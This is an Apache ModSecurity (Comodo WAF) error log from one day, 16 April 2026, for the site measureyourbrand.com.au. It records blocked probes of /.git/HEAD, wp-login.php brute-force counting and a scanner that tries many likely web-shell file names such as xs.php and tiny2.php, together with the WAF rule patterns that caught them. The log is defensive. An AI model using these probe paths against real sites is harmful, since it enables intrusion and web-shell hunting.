[Thu Apr 16 12:56:14.448136 2026] [:error] [pid 57537:tid 57584] [client 170.106.165.76:35848] [client 170.106.165.76] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aeBr7lVQRS8nm73ENAl09gAAAEk"]
[Thu Apr 16 14:40:55.673451 2026] [:error] [pid 7880:tid 7892] [client 185.238.231.118:37345] [client 185.238.231.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.118, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aeCEd6aezm4fSGc0yUI6WAAAAYc"]
[Thu Apr 16 17:07:49.509546 2026] [:error] [pid 49094:tid 49117] [client 43.140.247.223:42862] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeCm5TbDwvcXorHR_MxYgwAAAVU"]
[Thu Apr 16 20:41:54.561808 2026] [:error] [pid 57639:tid 57646] [client 164.92.140.132:57044] [client 164.92.140.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.140.132, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aeDZEqMCQoTw7TsxWumLpgAAAMA"]
[Thu Apr 16 20:41:55.546666 2026] [:error] [pid 49094:tid 49113] [client 164.92.140.132:54903] [client 164.92.140.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.140.132, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aeDZEzbDwvcXorHR_MzGewAAAVE"]
[Thu Apr 16 21:04:04.908617 2026] [:error] [pid 57538:tid 57617] [client 45.130.203.177:57543] [client 45.130.203.177] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aeDeRMuMaiEF5SVR2BfeiwAAAI8"]
[Thu Apr 16 21:04:05.663712 2026] [:error] [pid 7880:tid 7897] [client 45.130.203.172:54891] [client 45.130.203.172] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aeDeRaaezm4fSGc0yUKjIAAAAYw"]
[Thu Apr 16 23:05:27.598562 2026] [:error] [pid 57536:tid 57569] [client 4.225.163.126:14447] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aeD6tyQU4faGja6jpDuvkgAAABU"]
[Thu Apr 16 23:05:28.378456 2026] [:error] [pid 7880:tid 7899] [client 4.225.163.126:14424] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aeD6uKaezm4fSGc0yULRrwAAAY4"]
[Thu Apr 16 23:05:29.020189 2026] [:error] [pid 7880:tid 7908] [client 4.225.163.126:14428] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aeD6uaaezm4fSGc0yULRtAAAAZc"]
[Thu Apr 16 23:05:29.654368 2026] [:error] [pid 29603:tid 29611] [client 4.225.163.126:14462] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aeD6uVfGOR6fpTWUAzq2kAAAAQY"]
[Thu Apr 16 23:05:30.369094 2026] [:error] [pid 57639:tid 57654] [client 4.225.163.126:14427] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mifta.php"] [unique_id "aeD6uqMCQoTw7TsxWukFJQAAAMg"]
[Thu Apr 16 23:05:31.228850 2026] [:error] [pid 57536:tid 57563] [client 4.225.163.126:14338] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mifta.php"] [unique_id "aeD6uyQU4faGja6jpDuvkwAAAA8"]
[Thu Apr 16 23:05:32.012542 2026] [:error] [pid 57537:tid 57579] [client 4.225.163.126:14340] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mifta.php"] [unique_id "aeD6vFVQRS8nm73ENAnNdwAAAEQ"]
[Thu Apr 16 23:05:33.109960 2026] [:error] [pid 57536:tid 57559] [client 4.225.163.126:14404] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mifta.php"] [unique_id "aeD6vSQU4faGja6jpDuvmQAAAAs"]
[Thu Apr 16 23:05:33.821057 2026] [:error] [pid 57639:tid 57667] [client 4.225.163.126:14418] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "aeD6vaMCQoTw7TsxWukFNwAAANU"]
[Thu Apr 16 23:05:34.505296 2026] [:error] [pid 57639:tid 57656] [client 4.225.163.126:14417] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "aeD6vqMCQoTw7TsxWukFPAAAAMo"]
[Thu Apr 16 23:05:35.446800 2026] [:error] [pid 49094:tid 49119] [client 4.225.163.126:14416] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "aeD6vzbDwvcXorHR_MwjDQAAAVc"]
[Thu Apr 16 23:05:36.021334 2026] [:error] [pid 57536:tid 57566] [client 4.225.163.126:14441] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "aeD6wCQU4faGja6jpDuvoAAAABI"]
[Thu Apr 16 23:05:36.663606 2026] [:error] [pid 57536:tid 57558] [client 4.225.163.126:14461] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packsin1.php"] [unique_id "aeD6wCQU4faGja6jpDuvowAAAAo"]
[Thu Apr 16 23:05:38.015935 2026] [:error] [pid 49094:tid 49104] [client 4.225.163.126:14456] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packsin1.php"] [unique_id "aeD6wjbDwvcXorHR_MwjEAAAAUg"]
[Thu Apr 16 23:05:38.703067 2026] [:error] [pid 49094:tid 49117] [client 4.225.163.126:14409] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packsin1.php"] [unique_id "aeD6wjbDwvcXorHR_MwjFAAAAVU"]
[Thu Apr 16 23:05:39.371430 2026] [:error] [pid 57639:tid 57668] [client 4.225.163.126:14415] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packsin1.php"] [unique_id "aeD6w6MCQoTw7TsxWukFSQAAANY"]
[Thu Apr 16 23:05:40.317995 2026] [:error] [pid 57537:tid 57591] [client 4.225.163.126:14408] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xs.php"] [unique_id "aeD6xFVQRS8nm73ENAnNfwAAAFA"]
[Thu Apr 16 23:05:42.121151 2026] [:error] [pid 49094:tid 49110] [client 4.225.163.126:14401] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xs.php"] [unique_id "aeD6xjbDwvcXorHR_MwjGwAAAU4"]
[Thu Apr 16 23:05:44.204355 2026] [:error] [pid 29603:tid 29621] [client 4.225.163.126:14339] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xs.php"] [unique_id "aeD6yFfGOR6fpTWUAzq2lwAAARA"]
[Thu Apr 16 23:05:46.229772 2026] [:error] [pid 29603:tid 29615] [client 4.225.163.126:14360] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xs.php"] [unique_id "aeD6ylfGOR6fpTWUAzq2mwAAAQo"]
[Thu Apr 16 23:05:48.010735 2026] [:error] [pid 57536:tid 57565] [client 4.225.163.126:14445] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/son1.php"] [unique_id "aeD6zCQU4faGja6jpDuvuAAAABE"]
[Thu Apr 16 23:05:50.849378 2026] [:error] [pid 7880:tid 7904] [client 4.225.163.126:14348] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/son1.php"] [unique_id "aeD6zqaezm4fSGc0yULRywAAAZM"]
[Thu Apr 16 23:05:56.478672 2026] [:error] [pid 57639:tid 57653] [client 4.225.163.126:14426] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/son1.php"] [unique_id "aeD61KMCQoTw7TsxWukFjgAAAMc"]
[Thu Apr 16 23:05:58.827007 2026] [:error] [pid 57537:tid 57591] [client 4.225.163.126:14436] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/son1.php"] [unique_id "aeD61lVQRS8nm73ENAnNjAAAAFA"]
[Thu Apr 16 23:06:00.592474 2026] [:error] [pid 57639:tid 57665] [client 4.225.163.126:14347] [client 4.225.163.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aeD62KMCQoTw7TsxWukFpwAAANM"]
[Thu Apr 16 23:06:01.603859 2026] [:error] [pid 57639:tid 57653] [client 4.225.163.126:14421] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "aeD62aMCQoTw7TsxWukFrgAAAMc"]
[Thu Apr 16 23:06:02.292753 2026] [:error] [pid 57639:tid 57663] [client 4.225.163.126:14454] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "aeD62qMCQoTw7TsxWukFswAAANE"]
[Thu Apr 16 23:06:02.952158 2026] [:error] [pid 7880:tid 7895] [client 4.225.163.126:14437] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "aeD62qaezm4fSGc0yULR1wAAAYo"]
[Thu Apr 16 23:06:03.584995 2026] [:error] [pid 7880:tid 7900] [client 4.225.163.126:14344] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "aeD626aezm4fSGc0yULR2QAAAY8"]
[Thu Apr 16 23:06:04.495800 2026] [:error] [pid 57639:tid 57664] [client 4.225.163.126:14336] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aeD63KMCQoTw7TsxWukFvAAAANI"]
[Thu Apr 16 23:06:05.229070 2026] [:error] [pid 57639:tid 57660] [client 4.225.163.126:14433] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aeD63aMCQoTw7TsxWukFwAAAAM4"]
[Thu Apr 16 23:06:06.002066 2026] [:error] [pid 57639:tid 57658] [client 4.225.163.126:14346] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aeD63qMCQoTw7TsxWukFxwAAAMw"]
[Thu Apr 16 23:06:06.709611 2026] [:error] [pid 7880:tid 7893] [client 4.225.163.126:14349] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aeD63qaezm4fSGc0yULR3QAAAYg"]
[Thu Apr 16 23:06:07.320153 2026] [:error] [pid 7880:tid 7901] [client 4.225.163.126:14457] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aeD636aezm4fSGc0yULR3wAAAZA"]
[Thu Apr 16 23:06:07.918973 2026] [:error] [pid 7880:tid 7894] [client 4.225.163.126:14352] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aeD636aezm4fSGc0yULR4QAAAYk"]
[Thu Apr 16 23:06:09.039230 2026] [:error] [pid 57639:tid 57654] [client 4.225.163.126:14413] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aeD64aMCQoTw7TsxWukF2AAAAMg"]
[Thu Apr 16 23:06:10.076823 2026] [:error] [pid 29603:tid 29619] [client 4.225.163.126:14356] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aeD64lfGOR6fpTWUAzq2swAAAQ4"]
[Thu Apr 16 23:06:11.607552 2026] [:error] [pid 7880:tid 7903] [client 4.225.163.126:14345] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny2.php"] [unique_id "aeD646aezm4fSGc0yULR4wAAAZI"]
[Thu Apr 16 23:06:12.773201 2026] [:error] [pid 29603:tid 29609] [client 4.225.163.126:14420] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny2.php"] [unique_id "aeD65FfGOR6fpTWUAzq2ugAAAQQ"]
[Thu Apr 16 23:06:14.061655 2026] [:error] [pid 49094:tid 49112] [client 4.225.163.126:14272] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny2.php"] [unique_id "aeD65jbDwvcXorHR_MwjSgAAAVA"]
[Thu Apr 16 23:06:14.879615 2026] [:error] [pid 49094:tid 49116] [client 4.225.163.126:14397] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny2.php"] [unique_id "aeD65jbDwvcXorHR_MwjUAAAAVQ"]
[Thu Apr 16 23:06:15.753856 2026] [:error] [pid 29603:tid 29626] [client 4.225.163.126:14463] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/state.php"] [unique_id "aeD651fGOR6fpTWUAzq2vAAAARU"]
[Thu Apr 16 23:06:17.142894 2026] [:error] [pid 49094:tid 49096] [client 4.225.163.126:14277] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/state.php"] [unique_id "aeD66TbDwvcXorHR_MwjWgAAAUA"]
[Thu Apr 16 23:06:20.137325 2026] [:error] [pid 57537:tid 57599] [client 4.225.163.126:14406] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/state.php"] [unique_id "aeD67FVQRS8nm73ENAnNlwAAAFg"]
[Thu Apr 16 23:06:21.591918 2026] [:error] [pid 49094:tid 49106] [client 4.225.163.126:14403] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/state.php"] [unique_id "aeD67TbDwvcXorHR_MwjaAAAAUo"]
[Thu Apr 16 23:06:22.627402 2026] [:error] [pid 29603:tid 29606] [client 4.225.163.126:14430] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aeD67lfGOR6fpTWUAzq2vgAAAQE"]
[Thu Apr 16 23:06:23.522059 2026] [:error] [pid 57639:tid 57667] [client 4.225.163.126:14341] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aeD676MCQoTw7TsxWukGCgAAANU"]
[Thu Apr 16 23:06:24.311879 2026] [:error] [pid 57639:tid 57651] [client 4.225.163.126:14400] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aeD68KMCQoTw7TsxWukGDwAAAMU"]
